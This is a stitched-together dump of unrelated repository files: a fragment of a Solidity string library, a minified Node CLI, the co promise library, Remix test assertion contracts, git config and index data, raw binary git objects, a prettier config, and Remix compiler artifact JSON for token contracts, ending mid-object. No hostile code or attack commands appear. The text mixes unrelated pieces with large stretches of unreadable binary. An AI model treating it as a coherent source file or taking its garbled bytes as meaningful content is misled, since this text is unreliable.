for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = HEX_DIGITS[localValue & 0xf];
localValue >>= 4;
}
if (localValue != 0) {
revert StringsInsufficientHexLength(value, length);
}
return string(buffer);
}
/**
* @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal
* representation.
*/
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);
}
/**
* @dev Returns true if the two strings are equal.
*/
function equal(string memory a, string memory b) internal pure returns (bool) {
return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));
}
}
/**
* Minified by jsDelivr using Terser v3.14.1.
* Original file: /npm/[email protected]/src/cli.js
*
* Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
*/
#!/usr/bin/env node
"use strict";const commandFunctions=require("./commands"),colors=require("colors/safe"),[,,...arg]=process.argv;class Command{constructor(o,r,e,s,n){this.shortFlag=o,this.action=r,this.argCount=e,this.method=s,this.fallback=n}}const commands=[new Command("-h","help",1,()=>{commandFunctions.help(),process.exit(0)},()=>{error(),process.exit(1)}),new Command("-l","list",2,()=>{commandFunctions.list(arg[1]),process.exit(0)},()=>{commandFunctions.list("."),process.exit(0)}),new Command("-rm","remove",2,()=>{commandFunctions.delete(arg[1]),process.exit(0)},()=>{error(),process.exit(1)}),new Command("-s","set",3,()=>{commandFunctions.set(arg[1],arg[2]),process.exit(0)},()=>{error(),process.exit(1)}),new Command("-v","version",1,()=>{commandFunctions.version(),process.exit(0)},()=>{error(),process.exit(1)})];for(const o of commands)if(arg[0]==o.action||arg[0]==o.shortFlag)switch(arg.length){case o.argCount:o.method();break;case o.argCount-1:o.fallback();break;default:error()}function error(){return console.error(colors.red("\nInvalid flag, please try the following:\n")),commandFunctions.help(),1}error();
//# sourceMappingURL=/sm/09dbe455002cdd2e414c06955cc09e860d980cacaa77d4ce4e215858038f5b44.map
/**
* slice() reference.
*/
var slice = Array.prototype.slice;
/**
* Expose `co`.
*/
module.exports = co['default'] = co.co = co;
/**
* Wrap the given generator `fn` into a
* function that returns a promise.
* This is a separate function so that
* every `co()` call doesn't create a new,
* unnecessary closure.
*
* @param {GeneratorFunction} fn
* @return {Function}
* @api public
*/
co.wrap = function (fn) {
createPromise.__generatorFunction__ = fn;
return createPromise;
function createPromise() {
return co.call(this, fn.apply(this, arguments));
}
};
/**
* Execute the generator function or a generator
* and return a promise.
*
* @param {Function} fn
* @return {Promise}
* @api public
*/
function co(gen) {
var ctx = this;
var args = slice.call(arguments, 1)
// we wrap everything in a promise to avoid promise chaining,
// which leads to memory leak errors.
// see https://github.com/tj/co/issues/180
return new Promise(function(resolve, reject) {
if (typeof gen === 'function') gen = gen.apply(ctx, args);
if (!gen || typeof gen.next !== 'function') return resolve(gen);
onFulfilled();
/**
* @param {Mixed} res
* @return {Promise}
* @api private
*/
function onFulfilled(res) {
var ret;
try {
ret = gen.next(res);
} catch (e) {
return reject(e);
}
next(ret);
}
/**
* @param {Error} err
* @return {Promise}
* @api private
*/
function onRejected(err) {
var ret;
try {
ret = gen.throw(err);
} catch (e) {
return reject(e);
}
next(ret);
}
/**
* Get the next value in the generator,
* return a promise.
*
* @param {Object} ret
* @return {Promise}
* @api private
*/
function next(ret) {
if (ret.done) return resolve(ret.value);
var value = toPromise.call(ctx, ret.value);
if (value && isPromise(value)) return value.then(onFulfilled, onRejected);
return onRejected(new TypeError('You may only yield a function, promise, generator, array, or object, '
+ 'but the following object was passed: "' + String(ret.value) + '"'));
}
});
}
/**
* Convert a `yield`ed value into a promise.
*
* @param {Mixed} obj
* @return {Promise}
* @api private
*/
function toPromise(obj) {
if (!obj) return obj;
if (isPromise(obj)) return obj;
if (isGeneratorFunction(obj) || isGenerator(obj)) return co.call(this, obj);
if ('function' == typeof obj) return thunkToPromise.call(this, obj);
if (Array.isArray(obj)) return arrayToPromise.call(this, obj);
if (isObject(obj)) return objectToPromise.call(this, obj);
return obj;
}
/**
* Convert a thunk to a promise.
*
* @param {Function}
* @return {Promise}
* @api private
*/
function thunkToPromise(fn) {
var ctx = this;
return new Promise(function (resolve, reject) {
fn.call(ctx, function (err, res) {
if (err) return reject(err);
if (arguments.length > 2) res = slice.call(arguments, 1);
resolve(res);
});
});
}
/**
* Convert an array of "yieldables" to a promise.
* Uses `Promise.all()` internally.
*
* @param {Array} obj
* @return {Promise}
* @api private
*/
function arrayToPromise(obj) {
return Promise.all(obj.map(toPromise, this));
}
/**
* Convert an object of "yieldables" to a promise.
* Uses `Promise.all()` internally.
*
* @param {Object} obj
* @return {Promise}
* @api private
*/
function objectToPromise(obj){
var results = new obj.constructor();
var keys = Object.keys(obj);
var promises = [];
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
var promise = toPromise.call(this, obj[key]);
if (promise && isPromise(promise)) defer(promise, key);
else results[key] = obj[key];
}
return Promise.all(promises).then(function () {
return results;
});
function defer(promise, key) {
// predefine the key in the result
results[key] = undefined;
promises.push(promise.then(function (res) {
results[key] = res;
}));
}
}
/**
* Check if `obj` is a promise.
*
* @param {Object} obj
* @return {Boolean}
* @api private
*/
function isPromise(obj) {
return 'function' == typeof obj.then;
}
/**
* Check if `obj` is a generator.
*
* @param {Mixed} obj
* @return {Boolean}
* @api private
*/
function isGenerator(obj) {
return 'function' == typeof obj.next && 'function' == typeof obj.throw;
}
/**
* Check if `obj` is a generator function.
*
* @param {Mixed} obj
* @return {Boolean}
* @api private
*/
function isGeneratorFunction(obj) {
var constructor = obj.constructor;
if (!constructor) return false;
if ('GeneratorFunction' === constructor.name || 'GeneratorFunction' === constructor.displayName) return true;
return isGenerator(constructor.prototype);
}
/**
* Check for plain object.
*
* @param {Mixed} val
* @return {Boolean}
* @api private
*/
function isObject(val) {
return Object == val.constructor;
}
var cont = require('continuable')
exports = module.exports = function (fun) {
return cont.to(fun)
}
for(var k in cont)
exports[k] = cont[k]
exports.para = require('continuable-para')
exports.series = require('continuable-series')
/**
* Minified by jsDelivr using Terser v5.19.2.
* Original file: /npm/[email protected]/contra.js
*
* Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
*/
"use strict";module.exports={curry:require("./curry"),concurrent:require("./concurrent"),series:require("./series"),waterfall:require("./waterfall"),each:require("./each"),map:require("./map"),filter:require("./filter"),queue:require("./queue"),emitter:require("./emitter")};
//# sourceMappingURL=/sm/1f7b510a813f356dd55088ab98452f74e9955965ed5e96458451f4946f9b0d2c.map
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.22 <0.9.0;
library TestsAccounts {
function getAccount(uint index) pure public returns (address) {
return address(0);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.22 <0.9.0;
library Assert {
event AssertionEvent(
bool passed,
string message,
string methodName
);
event AssertionEventUint(
bool passed,
string message,
string methodName,
uint256 returned,
uint256 expected
);
event AssertionEventInt(
bool passed,
string message,
string methodName,
int256 returned,
int256 expected
);
event AssertionEventBool(
bool passed,
string message,
string methodName,
bool returned,
bool expected
);
event AssertionEventAddress(
bool passed,
string message,
string methodName,
address returned,
address expected
);
event AssertionEventBytes32(
bool passed,
string message,
string methodName,
bytes32 returned,
bytes32 expected
);
event AssertionEventString(
bool passed,
string message,
string methodName,
string returned,
string expected
);
event AssertionEventUintInt(
bool passed,
string message,
string methodName,
uint256 returned,
int256 expected
);
event AssertionEventIntUint(
bool passed,
string message,
string methodName,
int256 returned,
uint256 expected
);
function ok(bool a, string memory message) public returns (bool result) {
result = a;
emit AssertionEvent(result, message, "ok");
}
function equal(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventUint(result, message, "equal", a, b);
}
function equal(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventInt(result, message, "equal", a, b);
}
function equal(bool a, bool b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventBool(result, message, "equal", a, b);
}
// TODO: only for certain versions of solc
//function equal(fixed a, fixed b, string message) public returns (bool result) {
// result = (a == b);
// emit AssertionEvent(result, message);
//}
// TODO: only for certain versions of solc
//function equal(ufixed a, ufixed b, string message) public returns (bool result) {
// result = (a == b);
// emit AssertionEvent(result, message);
//}
function equal(address a, address b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventAddress(result, message, "equal", a, b);
}
function equal(bytes32 a, bytes32 b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventBytes32(result, message, "equal", a, b);
}
function equal(string memory a, string memory b, string memory message) public returns (bool result) {
result = (keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b)));
emit AssertionEventString(result, message, "equal", a, b);
}
function notEqual(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventUint(result, message, "notEqual", a, b);
}
function notEqual(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventInt(result, message, "notEqual", a, b);
}
function notEqual(bool a, bool b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventBool(result, message, "notEqual", a, b);
}
// TODO: only for certain versions of solc
//function notEqual(fixed a, fixed b, string message) public returns (bool result) {
// result = (a != b);
// emit AssertionEvent(result, message);
//}
// TODO: only for certain versions of solc
//function notEqual(ufixed a, ufixed b, string message) public returns (bool result) {
// result = (a != b);
// emit AssertionEvent(result, message);
//}
function notEqual(address a, address b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventAddress(result, message, "notEqual", a, b);
}
function notEqual(bytes32 a, bytes32 b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventBytes32(result, message, "notEqual", a, b);
}
function notEqual(string memory a, string memory b, string memory message) public returns (bool result) {
result = (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b)));
emit AssertionEventString(result, message, "notEqual", a, b);
}
/*----------------- Greater than --------------------*/
function greaterThan(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a > b);
emit AssertionEventUint(result, message, "greaterThan", a, b);
}
function greaterThan(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a > b);
emit AssertionEventInt(result, message, "greaterThan", a, b);
}
// TODO: safely compare between uint and int
function greaterThan(uint256 a, int256 b, string memory message) public returns (bool result) {
if(b < int(0)) {
// int is negative uint "a" always greater
result = true;
} else {
result = (a > uint(b));
}
emit AssertionEventUintInt(result, message, "greaterThan", a, b);
}
function greaterThan(int256 a, uint256 b, string memory message) public returns (bool result) {
if(a < int(0)) {
// int is negative uint "b" always greater
result = false;
} else {
result = (uint(a) > b);
}
emit AssertionEventIntUint(result, message, "greaterThan", a, b);
}
/*----------------- Lesser than --------------------*/
function lesserThan(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a < b);
emit AssertionEventUint(result, message, "lesserThan", a, b);
}
function lesserThan(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a < b);
emit AssertionEventInt(result, message, "lesserThan", a, b);
}
// TODO: safely compare between uint and int
function lesserThan(uint256 a, int256 b, string memory message) public returns (bool result) {
if(b < int(0)) {
// int is negative int "b" always lesser
result = false;
} else {
result = (a < uint(b));
}
emit AssertionEventUintInt(result, message, "lesserThan", a, b);
}
function lesserThan(int256 a, uint256 b, string memory message) public returns (bool result) {
if(a < int(0)) {
// int is negative int "a" always lesser
result = true;
} else {
result = (uint(a) < b);
}
emit AssertionEventIntUint(result, message, "lesserThan", a, b);
}
}
[core]
repositoryformatversion = 0
filemode = false
bare = false
logallrefupdates = true
symlinks = false
ignorecase = true
ref: refs/heads/main
DIRC e�� bZe�� bZ����-�k�����uw����,�&$.deps/remix-tests/remix_accounts.soleە �.�eە �.��������b 2�H"��(���,�Dz!.deps/remix-tests/remix_tests.soleە,Eeە,E�����o#q{K���Sc��X�W�n.prettierrc.jsoneە�eە���;���9|�>�Xߌy��˷'contracts/MyToken.soleە�Q@eە�Q@���cS?���5?,���7��'�|scripts/deploy_with_ethers.tseەe��eەe��������.��E�r���NH-��Wscripts/deploy_with_web3.tseە���eە������'S��Н��M�%5�s<��wscripts/ethers-lib.tseە�<eە�<��%�~P9���WrV���ߒ�~�scripts/web3-lib.tseە��eە��
��!K�*����8��w'���tests/MyToken_test.sol#YIK�C��:��@���9�
x��U]o�0�9�⪼�R��6�1�"4�شI�����Z8v�F���Q�ڴIg���ڷ��s�=%��g� ǁ��_'W���SH��+J��x{5�ٮe��#J0R��w���v�k���E�XH I"���&J+[ 68�A���.m���k��V��6?/J����( T�_�ѲPJ� �]���J-J�5���;:?��j'��ɬv��Ď�s>P�`I@ H�TS�@<p"�B,��2�Z��l��v�O9�*�XS�aIVB�c��ɒQ �YE��^�F��X�N�j�������a��V������Ȕ� ��XBT�ʅRDj��Lr��h �·�:�z! � �x3��y���R�&����� AB�i��Ja��;���E ��]�l���^�3P��0ݧ?D�A��הk�ם6.C��U�wU��ꈹ�c��J�(��<�u�S*ktYu��Ѳf��:�9�gֈ�.�;�/�a����;�i�( �fpO��^
��I��?O�I���߈���lR�wZ��:�Z�@"�V}�����.�R�1�{8z675��yc�K[�47zCd��L���� EWݝf`�ߛ�4�4߾oj�������?���,���B�`���\I{���y�\ı�� F����6�R���
�r�
ڼϖ��h������y������x�we�s� �:Һ�"z�z�Qݒ˔r�g!4
�_ �����P�����ٍqJ ��T-v ���X-a��N����#Sm��s�dY��T�
x�+)JMU0�`01000P(J�ͬ�-I-.)fh����v�ß��w"[Z��Z[~��:�
x�M�A
�0D]����FQWB��;w"4i�ZL�K)���b��j`x��:�جw��j�G�(�q�a��s�D�Z�ۥ+m"�4��sH��^�wc9�!�Sx���5e�\29v'~P�,p��Ύ���LQx
a�y���7= 71�C��;��IW��ш�AI��B�
x�+)JMU01a040031Q� ��N͋/I-.�+��a`R�~���_��ۯ����)����
x�]S]k�@��<$s�%�Ӧ)���kV�Z�T�{�8���}�J_�ݝ���K+�����_�ٺ�؃�d 8`-�F���,9;�� ?���Z2
���w*�i[�ސP�}P��8k+����u7:�y�8������$E@e����wAe���]3+K�ή6u�re��8�u9����� kY�k��c��֍8�����S�ɬ�� -X���e����ѻ�褜�$n��s������k��7ߌ\.���f3t�}Ŧ�E��3�����t��i>�+� -I;�!�(s�W?n�-mV��XH9?Y������$jה���_F���VmZs]~� �� BO�{�K<�ⷁ%CrlI�h��wO-��\ъ�k/��z��Nѐ��㶚�rR���V�! Ӗ�B���&�������79*X�����V-�ҝG[N?݋�9K�Z@=�ʧT��RZ1|��m��{9[8,;�o�4Z0&��t�|n
ևn:��i~��R���s�=f�/ƣ)�R�8Zd�O�S�|Φg��NVo~���a��sc��χ�& ˷yY�=�^ڎ�+��z�Ʃ�`��ں.;��Č�q{!�3>>��?}�V
x�+)JMU04�`01000P�KI-(fR� �Z���˿8�`��W�?G���(����d�%�e��1lZ��\X�=���Jp�����A�J��+)JL.)fx�qFp�� ����\K��>3�KDMqrQfAI1�_��Mr��T5?�ۯx��o��]%��%� J��鱟�8�lG[I�h-o�q�J�
x�+)JMU047c040031QHI-�ɯ�/�,ɈO-�H-*�+)fH���u����N��^��w�`�P��d R.�j�t���]o�<���C�m�x8T9�Lݜ�$�B���{.�}���`����b�gʡ
Af��� �\��-�(l��g��'u���I5
x�M��
�0���7I@�88� ��Dh���Ŵ)IDB黋������w�uv���i{�#��[�0��] �6k�am��3&tH���Ȏ}�0� ���Fd�O���&�)�ݝ:���*�����D���S,��@�͘��FGSC��;��I���hB�(�|��C�
x���9�0����ȎB�<c�l��d �z$h�)��j�$����tf��'��=9���HޭHau�9�H�"�E�C��ý��uI�������)凞�C���z�Z��*���N5I� �� �Kz�p�e���N�Vo-�H
x�+)JMU��d040031Q(J�ͬ�OLN�/�+)�+��a8xD�d��7��ͻ_Z��_�}�_j(�KR��Jw�Ɯ�`��C��Q�o�<?� w�*�
x���Oo�0�9�S�rJ�4Y�*���s�`Պ���̖����.K�8YZU��C���{�ql7�6�rq��E]����o�_H#<>m�����-�O7���S���d��I�\���:g�@��:�?��Z[���Z�O���������5��I>�-ȁ,���>zV��g�:W1<!Ji�!�g�g��HRP6y`���&����; O�S�%����
7���G-��m=��$��َ� �~ �"O켄|�����x�=����m6�����ep*,���Ɛ�f?����q�4��r? ��D̪�C:b���"�,_�����x�`�MI|Qװ��������� �<��F��E��B���t��{m^F�*��ӭ�] �}�L�Î zVf.L���35��U�8D����#����i���_��]�
x����
�0 �=�)B�2ă��[����n٬�f�� c�.+l0cB{J�� ��ɪ�����e)\}�{�Py���l���X<N�r�t���|X��E���RH��/����D\[<s�� �,NV�R�&�3�0<{�;U<������6^p��k���xH�����%�pυ._ݢ6��̢�
x�͖�N�@�{��re���j!A�!$T��Ro��8��즻k B�{�>��؉q��$�l�ߌg�?��m8�68���������=u�I�ܹ��(�s�}��|�� c&�xJ@r��T��r��t��߻� ��-��Õ�(|�"Sq�rv�/M��܇��v�JP6�)JIƘ����$S4���Ŀh��Q8�L N�@�
K$Q|�����
r��L�2?8��c��]�C��\W���)H�(�D��c�P~�#Q�tS�h!��0s}�8�N ���˴foMɥ����_/`�f>1û��2�yrO f��S'N,��WC���#�Mt# �5N��EgڋZ��'-K��\�?����5�{!4 �F`[����؄ �Zm d�R/��|W9y����pC�.��������9p�����P�($�L��A;��Ty}GWg�>�X��^/�6�E�I��`QM����K���u��J���.���
�=W_G���ZE�T1A�!���Il�E�p�3A�$��K�r¶������ J�ϸ�i�)��8EBV��9��N��%��q���9��K]UkE6�G��;��҄}ԩh�I�>]�Rf-��ˑ�#%�t��frT�L�xI�Fw�/�H
P/���םN縷ڽqt����F�貂���?���3����~�K����x�����6�7Dvsu�>���i�P�2���?�&�,T�1Q�#�i���\&P�MS"��c����E����lz-��&�t�w��^f�z&)�7{W�<��]� �F����m�]���֕{�y�ʊ�n\U�Te��/*+��i�V��a�c�.)�갊�Z���^�����q`=I�pv�
�p"&�:b�״O�/}��
x�]�M�7�\ݿBG��㒪��2�A-�B�C|0,{P��4��,�^�����c2���xT�xk~��BJ-�x�V��1~�����;��j۝���ß���p��|�_��8����^��w���R�/ظ l��q���">����Kٟw���6!D?��i��ėvZ�^���I,�ھ���C���q)��N���(^�Z�x|���s�G�R?����?���V��^�����N�W=���dY���t ������u�fn������l�b2T]0UN%�ْ��0׈(�E]fu��Ө�9 Y)�[��vͲ��'�]S*���5� f�(#�lf��r�dR�K�֓�%�y��t�FrR��U�.j (�S9Hc��d����m}�����N�Y�kvA�qAƹ���lA��f��bF�<v��4 ��j�k��]Ҡ�a{����Ie�Ķ�sp���Zr�� 3�(S�kl׶��Gʬ�#�6�L}��1�M�)\c�V���T3�М�<�0���Ҭ=�4�x����Q�\�Ԥ�4A�̀�55��&�3#��fL+��|��D� �RgO>u�b ��m��!�x-���A�Mu�'�\���PT�&'rM��(��s$I �f3F�{���$�R�F�1��2t/g�I��;�Bk� �tF�$��p���sz�k���f���}�v�=�
x�mT]k�@�~�<$GN� �iK!�|@�P
^Ik�R��ܭ�[���$�j�@�������*�L�˫ˏ�T�2V���+,��n8�
���_�K�L�_/�����S<�D�Ќ��Y���A0;; p�����R2
��H��"K5vN��E3��f��a�>����8��Z�^���4 [8T�I���Į316���u����2�ւ�㼥r�s�/����u=N��:e۠ ��Jժ3fY�Vc�w��Us>�? �����C0�������:�-O���#� w���6I�lM�_�Jn0��.Г�G�94o�4D��gk�T�vңL�qe�h�)T����X]�h���0�$�]s�U+�fΝq���Re%�C��- �]�c�W��V(ȊZR&qW��~3�ڎfA�>�s�· �|,?X��$%�X��l�١�� ���Wg��ض��r��_��Y�mH ,��O�QUE�RU�@�
��a��MUN�3�+�3��9����Yʸ`���(�3V����@t�S�N�hw<9������h@[+��G��LαI_9���-�5kq��hF��7�{�tƃ����]Ȟ�����~��ϋ_aA.�;�����E{u�@��'Hc���_��p
x�+)JMU0�d040031Q� ��N��+��a�}�ٲ��N�o����s/NoWnf
767622adf17b0d960fabfb6286b47d0a758806f0
{
"overrides": [
{
"files": "*.sol",
"options": {
"printWidth": 80,
"tabWidth": 4,
"useTabs": false,
"singleQuote": false,
"bracketSpacing": false
}
},
{
"files": "*.yml",
"options": {}
},
{
"files": "*.yaml",
"options": {}
},
{
"files": "*.toml",
"options": {}
},
{
"files": "*.json",
"options": {}
},
{
"files": "*.js",
"options": {}
},
{
"files": "*.ts",
"options": {}
}
]
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"goerli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "6055604b600b8282823980515f1a607314603f577f4e487b71000000000000000000000000000000000000000000000000000000005f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220ea57f31cf6a2d0febe39c8b0eac923f22315c389e9266d23468ca10dd5e33a8564736f6c63430008160033",
"opcodes": "PUSH1 0x55 PUSH1 0x4B PUSH1 0xB DUP3 DUP3 DUP3 CODECOPY DUP1 MLOAD PUSH0 BYTE PUSH1 0x73 EQ PUSH1 0x3F JUMPI PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH0 MSTORE PUSH0 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST ADDRESS PUSH0 MSTORE PUSH1 0x73 DUP2 MSTORE8 DUP3 DUP2 RETURN INVALID PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xEA JUMPI RETURN SHR 0xF6 LOG2 0xD0 INVALID 0xBE CODECOPY 0xC8 0xB0 0xEA 0xC9 0x23 CALLCODE 0x23 ISZERO 0xC3 DUP10 0xE9 0x26 PUSH14 0x23468CA10DD5E33A8564736F6C63 NUMBER STOP ADDMOD AND STOP CALLER ",
"sourceMap": "57:4112:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220ea57f31cf6a2d0febe39c8b0eac923f22315c389e9266d23468ca10dd5e33a8564736f6c63430008160033",
"opcodes": "PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xEA JUMPI RETURN SHR 0xF6 LOG2 0xD0 INVALID 0xBE CODECOPY 0xC8 0xB0 0xEA 0xC9 0x23 CALLCODE 0x23 ISZERO 0xC3 DUP10 0xE9 0x26 PUSH14 0x23468CA10DD5E33A8564736F6C63 NUMBER STOP ADDMOD AND STOP CALLER ",
"sourceMap": "57:4112:0:-:0;;;;;;;;"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "17000",
"executionCost": "92",
"totalCost": "17092"
},
"internal": {
"_revert(bytes memory,string memory)": "infinite",
"functionCall(address,bytes memory)": "infinite",
"functionCall(address,bytes memory,string memory)": "infinite",
"functionCallWithValue(address,bytes memory,uint256)": "infinite",
"functionCallWithValue(address,bytes memory,uint256,string memory)": "infinite",
"functionDelegateCall(address,bytes memory)": "infinite",
"functionDelegateCall(address,bytes memory,string memory)": "infinite",
"functionStaticCall(address,bytes memory)": "infinite",
"functionStaticCall(address,bytes memory,string memory)": "infinite",
"isContract(address)": "infinite",
"sendValue(address payable,uint256)": "infinite",
"verifyCallResult(bool,bytes memory,string memory)": "infinite",
"verifyCallResultFromTarget(address,bool,bytes memory,string memory)": "infinite"
}
},
"methodIdentifiers": {}
},
"abi": []
}
{
"compiler": {
"version": "0.8.22+commit.4fc1097e"
},
"language": "Solidity",
"output": {
"abi": [],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Coins/TokenSimple.sol": "Address"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Coins/TokenSimple.sol": {
"keccak256": "0x405003fab443c9a7de48c08b57a549f6541ef1de65424e8d8e10dc3ae4873c33",
"license": "MIT",
"urls": [
"bzz-raw://4df667497df0056dc9df88bf578a72316913c4f67a785eec82917871fb10ed2f",
"dweb:/ipfs/Qmd4AwjTapLKNnTaX4xHLtJufzQNPQ9dxz6nuEPJ5aUrKW"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"goerli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {}
},
"abi": []
}
{
"compiler": {
"version": "0.8.22+commit.4fc1097e"
},
"language": "Solidity",
"output": {
"abi": [],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Coins/TokenSimple.sol": "Context"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Coins/TokenSimple.sol": {
"keccak256": "0x405003fab443c9a7de48c08b57a549f6541ef1de65424e8d8e10dc3ae4873c33",
"license": "MIT",
"urls": [
"bzz-raw://4df667497df0056dc9df88bf578a72316913c4f67a785eec82917871fb10ed2f",
"dweb:/ipfs/Qmd4AwjTapLKNnTaX4xHLtJufzQNPQ9dxz6nuEPJ5aUrKW"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"goerli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {
"allowance(address,address)": "dd62ed3e",
"approve(address,uint256)": "095ea7b3",
"balanceOf(address)": "70a08231",
"totalSupply()": "18160ddd",
"transfer(address,uint256)": "a9059cbb",
"transferFrom(address,address,uint256)": "23b872dd"
}
},
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "from",
"type": "address"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transferFrom",
